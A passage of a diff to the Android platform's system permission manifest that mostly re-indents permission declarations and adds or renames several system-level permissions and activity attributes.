          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CONTROL_VPN"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.CONTROL_VPN" />
 
     <!-- @SystemApi Allows an application to capture audio output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture audio for hotword detection.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture video output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture secure video output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to know what content is playing and control its playback.
          <p>Not for use by third-party applications due to privacy of media consumption</p>  -->
     <permission android:name="android.permission.MEDIA_CONTENT_CONTROL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi @hide Allows an application to set the volume key long-press listener.
+         <p>When it's set, the application will receive the volume key long-press event
+         instead of changing volume.</p>
+         <p>Not for use by third-party applications</p> -->
+    <permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"
+        android:protectionLevel="signature|privileged|development" />
+
+    <!-- @SystemApi @hide Allows an application to set media key event listener.
+         <p>When it's set, the application will receive the media key event before
+         any other media sessions. If the event is handled by the listener, other sessions
+         cannot get the event.</p>
+         <p>Not for use by third-party applications</p> -->
+    <permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Required to be able to disable the device (very dangerous!).
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.BRICK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Required to be able to reboot the device.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.REBOOT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows low-level access to power management.
-         <p>Not for use by third-party applications.
-         @hide
-     -->
-    <permission android:name="android.permission.DEVICE_POWER"
-                android:protectionLevel="signature" />
+   <!-- @SystemApi Allows low-level access to power management.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+   <permission android:name="android.permission.DEVICE_POWER"
+        android:protectionLevel="signature" />
 
-    <!-- Allows access to the PowerManager.userActivity function.
-    <p>Not for use by third-party applications. @hide @SystemApi -->
+   <!-- Allows access to the PowerManager.userActivity function.
+   <p>Not for use by third-party applications. @hide @SystemApi -->
     <permission android:name="android.permission.USER_ACTIVITY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- @hide Allows low-level access to tun tap driver -->
+   <!-- @hide Allows low-level access to tun tap driver -->
     <permission android:name="android.permission.NET_TUNNELING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Run as a manufacturer test application, running as the root user.
          Only available when the device is running in manufacturer test mode.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.FACTORY_TEST"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast a notification that an application
          package has been removed.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast an SMS receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_SMS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast a WAP PUSH receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_WAP_PUSH"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to broadcast privileged networking requests.
-         <p>Not for use by third-party applications. @hide -->
+         <p>Not for use by third-party applications.
+         @hide
+         @deprecated Use {@link android.Manifest.permission#REQUEST_NETWORK_SCORES} instead
+    -->
     <permission android:name="android.permission.BROADCAST_NETWORK_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Not for use by third-party applications. -->
     <permission android:name="android.permission.MASTER_CLEAR"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to call any phone number, including emergency
          numbers, without going through the Dialer user interface for the user
          to confirm the call being placed.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CALL_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to perform CDMA OTA provisioning @hide -->
     <permission android:name="android.permission.PERFORM_CDMA_PROVISIONING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to perform SIM Activation @hide -->
     <permission android:name="android.permission.PERFORM_SIM_ACTIVATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows enabling/disabling location update notifications from
          the radio.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CONTROL_LOCATION_UPDATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows read/write access to the "properties" table in the checkin
          database, to change values that get uploaded.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to collect component usage
          statistics
          <p>Declaring the permission implies intention to use the API and the user of the
          device can grant permission through the Settings application. -->
     <permission android:name="android.permission.PACKAGE_USAGE_STATS"
-                android:protectionLevel="signature|privileged|development|appop" />
+        android:protectionLevel="signature|privileged|development|appop" />
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
     <!-- @hide Allows an application to change the app idle state of an app.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
          access the network and acquire wakelocks.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Permission an application must hold in order to use
          {@link android.provider.Settings#ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}.
          This is a normal permission: an app requesting it will always be granted the
          permission, without the user needing to approve or see it. -->
     <permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_requestIgnoreBatteryOptimizations"
+        android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to collect battery statistics -->
     <permission android:name="android.permission.BATTERY_STATS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to control the backup and restore process.
     <p>Not for use by third-party applications.
          @hide pending API council -->
     <permission android:name="android.permission.BACKUP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows a package to launch the secure full-backup confirmation UI.
          ONLY the system process may hold this permission.
          @hide -->
     <permission android:name="android.permission.CONFIRM_FULL_BACKUP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by a {@link android.widget.RemoteViewsService},
          to ensure that only the system can bind to it. -->
     <permission android:name="android.permission.BIND_REMOTEVIEWS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to tell the AppWidget service which application
          can access AppWidget's data.  The normal user flow is that a user
@@ -2720,25 +2970,25 @@
          An application that has this permission should honor that contract.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.BIND_APPWIDGET"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
          keyguard widget
          @hide -->
     <permission android:name="android.permission.BIND_KEYGUARD_APPWIDGET"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Internal permission allowing an application to query/set which
          applications can bind AppWidgets.
          @hide -->
     <permission android:name="android.permission.MODIFY_APPWIDGET_BIND_PERMISSIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to change the background data setting.
     <p>Not for use by third-party applications.
          @hide pending API council -->
     <permission android:name="android.permission.CHANGE_BACKGROUND_DATA_SETTING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi This permission can be used on content providers to allow the global
          search system to access their data.  Typically it used when the
@@ -2749,7 +2999,7 @@
          it is used by applications to protect themselves from everyone else
          besides global search. -->
     <permission android:name="android.permission.GLOBAL_SEARCH"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Internal permission protecting access to the global search
          system: ensures that only the system can access the provider
@@ -2759,33 +3009,33 @@
          ranking).
          @hide -->
     <permission android:name="android.permission.GLOBAL_SEARCH_CONTROL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Internal permission to allows an application to read indexable data.
         @hide -->
     <permission android:name="android.permission.READ_SEARCH_INDEXABLES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to set a live wallpaper.
          @hide XXX Change to signature once the picker is moved to its
          own apk as Ghod Intended. -->
     <permission android:name="android.permission.SET_WALLPAPER_COMPONENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to read dream settings and dream state.
          @hide -->
     <permission android:name="android.permission.READ_DREAM_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to write dream settings, and start or stop dreaming.
          @hide -->
     <permission android:name="android.permission.WRITE_DREAM_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allow an application to read and write the cache partition.
          @hide -->
     <permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by default container service so that only
          the system can bind to it and use it to copy
@@ -2793,67 +3043,67 @@
          accessible to the system.
          @hide -->
     <permission android:name="android.permission.COPY_PROTECTED_DATA"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Internal permission protecting access to the encryption methods
         @hide
     -->
     <permission android:name="android.permission.CRYPT_KEEPER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to read historical network usage for
          specific networks and applications. @hide -->
     <permission android:name="android.permission.READ_NETWORK_USAGE_HISTORY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to manage network policies (such as warning and disable
          limits) and to define application-specific rules. @hide -->
     <permission android:name="android.permission.MANAGE_NETWORK_POLICY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
          by system services like download manager and media server. Not for use by
          third party apps. @hide -->
     <permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- C2DM permission.
          @hide Used internally.
      -->
     <permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
-                android:protectionLevel="signature" />
+          android:protectionLevel="signature" />
     <uses-permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"/>
 
     <!-- @SystemApi @hide Package verifier needs to have this permission before the PackageManager will
          trust it to verify packages.
     -->
     <permission android:name="android.permission.PACKAGE_VERIFICATION_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by package verifier receiver, to ensure that only the
          system can interact with it.
          @hide
     -->
     <permission android:name="android.permission.BIND_PACKAGE_VERIFIER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Intent filter verifier needs to have this permission before the
          PackageManager will trust it to verify intent filters.
     -->
     <permission android:name="android.permission.INTENT_FILTER_VERIFICATION_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by intent filter verifier receiver, to ensure that only the
          system can interact with it.
          @hide
     -->
     <permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to access serial ports via the SerialManager.
          @hide -->
     <permission android:name="android.permission.SERIAL_PORT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the holder to access content providers from outside an ApplicationThread.
          This permission is enforced by the ActivityManagerService on the corresponding APIs,
@@ -2862,27 +3112,27 @@
          @hide
     -->
     <permission android:name="android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to hold an UpdateLock, recommending that a headless
          OTA reboot *not* occur while the lock is held.
          @hide -->
     <permission android:name="android.permission.UPDATE_LOCK"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to read the current set of notifications, including
          any metadata and intents attached.
          @hide -->
     <permission android:name="android.permission.ACCESS_NOTIFICATIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|appop" />
 
     <!-- Marker permission for applications that wish to access notification policy.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"
-                android:description="@string/permdesc_access_notification_policy"
-                android:label="@string/permlab_access_notification_policy"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_access_notification_policy"
+        android:label="@string/permlab_access_notification_policy"
+        android:protectionLevel="normal" />
 
     <!-- Allows modification of do not disturb rules and policies. Only allowed for system
         processes.
@@ -2893,42 +3143,42 @@
     <!-- Allows access to keyguard secure storage.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows managing (adding, removing) fingerprint templates. Reserved for the system. @hide -->
     <permission android:name="android.permission.MANAGE_FINGERPRINT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an app to reset fingerprint attempt counter. Reserved for the system. @hide -->
     <permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control keyguard.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.CONTROL_KEYGUARD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to listen to trust changes.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.TRUST_LISTENER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to provide a trust agent.
          @hide For security reasons, this is a platform-only permission. -->
     <permission android:name="android.permission.PROVIDE_TRUST_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to launch the trust agent settings activity.
         @hide -->
     <permission android:name="android.permission.LAUNCH_TRUST_AGENT_SETTINGS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Must be required by an {@link
         android.service.trust.TrustAgentService},
         to ensure that only the system can bind to it.
         @hide -->
     <permission android:name="android.permission.BIND_TRUST_AGENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link
          android.service.notification.NotificationListenerService},
@@ -2936,15 +3186,16 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
-    <!-- Must be required by an {@link
-         android.service.notification.NotificationRankerService         to ensure that only the system can bind to it.
+    <!-- @SystemApi Must be required by an {@link
+         android.service.notification.NotificationAssistantService} to ensure that only the system
+         can bind to it.
          <p>Protection level: signature
-         @hide This is not a third-party API (intended for system apps). -->
+         @hide
     -->
-    <permission android:name="android.permission.BIND_NOTIFICATION_RANKER_SERVICE"
-                android:protectionLevel="signature" />
+    <permission android:name="android.permission.BIND_NOTIFICATION_ASSISTANT_SERVICE"
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link
          android.service.chooser.ChooserTargetService}, to ensure that
@@ -2952,7 +3203,24 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_CHOOSER_TARGET_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi Must be held by services that extend
+         {@link android.service.resolver.ResolverRankerService}.
+         <p>Protection level: signature|privileged
+         @hide
+    -->
+    <permission android:name="android.permission.PROVIDE_RESOLVER_RANKER_SERVICE"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Must be required by services that extend
+         {@link android.service.resolver.ResolverRankerService}, to ensure that only the system can
+         bind to them.
+         <p>Protection level: signature
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_RESOLVER_RANKER_SERVICE"
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link
          android.service.notification.ConditionProviderService},
@@ -2960,57 +3228,64 @@
          <p>Protection level: signature
          -->
     <permission android:name="android.permission.BIND_CONDITION_PROVIDER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.service.dreams.DreamService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_DREAM_SERVICE"
+        android:protectionLevel="signature" />
+
+    <!-- Must be required by an {@link android.app.usage.CacheQuotaService} to ensure that only the
+         system can bind to it.
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.BIND_CACHE_QUOTA_SERVICE"
                 android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to call into a carrier setup flow. It is up to the
          carrier setup application to enforce that this permission is required
          @hide This is not a third-party API (intended for OEMs and system apps). -->
     <permission android:name="android.permission.INVOKE_CARRIER_SETUP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to listen for network condition observations.
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.ACCESS_NETWORK_CONDITIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to provision and access DRM certificates
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.ACCESS_DRM_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Api Allows an application to manage media projection sessions.
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.MANAGE_MEDIA_PROJECTION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to read install sessions
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.READ_INSTALL_SESSIONS"
-                android:label="@string/permlab_readInstallSessions"
-                android:description="@string/permdesc_readInstallSessions"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_readInstallSessions"
+        android:description="@string/permdesc_readInstallSessions"
+        android:protectionLevel="normal"/>
 
     <!-- @SystemApi Allows an application to remove DRM certificates
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.REMOVE_DRM_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @deprecated Use {@link android.Manifest.permission#BIND_CARRIER_SERVICES} instead -->
     <permission android:name="android.permission.BIND_CARRIER_MESSAGING_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to interact with the currently active
          {@link android.service.voice.VoiceInteractionService}.
          @hide -->
     <permission android:name="android.permission.ACCESS_VOICE_INTERACTION_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- The system process that is allowed to bind to services in carrier apps will
          have this permission. Carrier apps should use this permission to protect
@@ -3018,9 +3293,9 @@
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.BIND_CARRIER_SERVICES"
-                android:label="@string/permlab_bindCarrierServices"
-                android:description="@string/permdesc_bindCarrierServices"
-                android:protectionLevel="signature|privileged" />
+        android:label="@string/permlab_bindCarrierServices"
+        android:description="@string/permdesc_bindCarrierServices"
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to query whether DO_NOT_ASK_CREDENTIALS_ON_BOOT
          flag is set.
@@ -3062,11 +3337,15 @@
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
 
-
-    <!-- Allows the holder to access the ephemeral applications on the device.
+    <!-- Allows the holder to access and manage instant applications on the device.
     @hide -->
-    <permission android:name="android.permission.ACCESS_EPHEMERAL_APPS"
-                android:protectionLevel="signature" />
+    <permission android:name="android.permission.ACCESS_INSTANT_APPS"
+            android:protectionLevel="signature|installer|verifier" />
+
+    <!-- Allows the holder to view the instant applications on the device.
+    @hide -->
+    <permission android:name="android.permission.VIEW_INSTANT_APPS"
+            android:protectionLevel="signature|preinstalled" />
 
     <!-- Allows receiving the usage of media resource e.g. video/audio codec and
          graphic memory.
@@ -3078,7 +3357,7 @@
          APIs given by {@link SoundTriggerManager}.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows trusted applications to dispatch managed provisioning message to Managed
          Provisioning app. If requesting app does not have permission, it will be ignored.
@@ -3102,17 +3381,24 @@
          the system can bind to it.
          <p>Protection level: signature -->
     <permission android:name="android.permission.BIND_VR_LISTENER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- Must be required by system apps when accessing restricted VR APIs.
+         @hide
+         @SystemApi
+         <p>Protection level: signature -->
+    <permission android:name="android.permission.RESTRICTED_VR_ACCESS"
+        android:protectionLevel="signature|preinstalled" />
 
     <!-- Required to make calls to {@link android.service.vr.IVrManager}.
          @hide -->
     <permission android:name="android.permission.ACCESS_VR_MANAGER"
-                android:protectionLevel="signature" />
+            android:protectionLevel="signature" />
 
     <!-- Allows an application to whitelist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
-                android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup" />
 
     <!-- @SystemApi Allows an application to replace the app name displayed alongside notifications
          in the N-release and later.
@@ -3120,6 +3406,26 @@
     <permission android:name="android.permission.SUBSTITUTE_NOTIFICATION_APP_NAME"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows an application to show notifications before the device is provisioned.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.NOTIFICATION_DURING_SETUP"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows an application to manage auto-fill sessions.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_AUTO_FILL"
+        android:protectionLevel="signature" />
+
+    <!-- Allows an app to set the theme overlay in /vendor/overlay
+         being used.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MODIFY_THEME_OVERLAY"
+                android:protectionLevel="signature" />
+
+    <!-- Allows an instant app to create foreground services. -->
+    <permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
+        android:protectionLevel="signature|development|ephemeral|appop" />
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
@@ -3129,122 +3435,142 @@
                  android:killAfterRestore="false"
                  android:icon="@drawable/ic_launcher_android"
                  android:supportsRtl="true"
-                 android:theme="@style/Theme.Material.Light.DarkActionBar"
+                 android:theme="@style/Theme.DeviceDefault.Light.DarkActionBar"
                  android:defaultToDeviceProtectedStorage="true"
                  android:directBootAware="true">
         <activity android:name="com.android.internal.app.ChooserActivity"
-                  android:theme="@style/Theme.DeviceDefault.Resolver"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:excludeFromRecents="true"
-                  android:documentLaunchMode="never"
-                  android:relinquishTaskIdentity="true"
-                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Resolver"
+                android:finishOnCloseSystemDialogs="true"
+                android:excludeFromRecents="true"
+                android:documentLaunchMode="never"
+                android:relinquishTaskIdentity="true"
+                android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
             <intent-filter>
                 <action android:name="android.intent.action.CHOOSER" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.VOICE" />
             </intent-filter>
         </activity>
-        <activity android:name="com.android.internal.app.IntentForwarderActivity"
+        <activity android:name="com.android.internal.app.AccessibilityButtonChooserActivity"
+                  android:exported="false"
+                  android:theme="@style/Theme.DeviceDefault.Resolver"
                   android:finishOnCloseSystemDialogs="true"
-                  android:theme="@style/Theme.NoDisplay"
                   android:excludeFromRecents="true"
-                  android:label="@string/user_owner_label"
-                  android:exported="true"
-        >
+                  android:documentLaunchMode="never"
+                  android:relinquishTaskIdentity="true"
+                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                  android:process=":ui"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="com.android.internal.intent.action.CHOOSE_ACCESSIBILITY_BUTTON" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+        <activity android:name="com.android.internal.app.IntentForwarderActivity"
+                android:finishOnCloseSystemDialogs="true"
+                android:theme="@style/Theme.NoDisplay"
+                android:excludeFromRecents="true"
+                android:label="@string/user_owner_label"
+                android:exported="true"
+                >
         </activity>
         <activity-alias android:name="com.android.internal.app.ForwardIntentToParent"
-                        android:targetActivity="com.android.internal.app.IntentForwarderActivity"
-                        android:exported="true"
-                        android:label="@string/user_owner_label">
+                android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+                android:exported="true"
+                android:label="@string/user_owner_label">
         </activity-alias>
         <activity-alias android:name="com.android.internal.app.ForwardIntentToManagedProfile"
-                        android:targetActivity="com.android.internal.app.IntentForwarderActivity"
-                        android:icon="@drawable/ic_corp_icon"
-                        android:exported="true"
-                        android:label="@string/managed_profile_label">
+                android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+                android:icon="@drawable/ic_corp_icon"
+                android:exported="true"
+                android:label="@string/managed_profile_label">
         </activity-alias>
         <activity android:name="com.android.internal.app.HeavyWeightSwitcherActivity"
-                  android:theme="@style/Theme.Material.Light.Dialog"
-                  android:label="@string/heavy_weight_switcher_title"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/heavy_weight_switcher_title"
+                android:finishOnCloseSystemDialogs="true"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.PlatLogoActivity"
-                  android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
-                  android:configChanges="orientation|keyboardHidden"
-                  android:process=":ui">
+                android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
+                android:configChanges="orientation|keyboardHidden"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.DisableCarModeActivity"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.NoDisplay"
+                android:excludeFromRecents="true"
+                android:process=":ui">
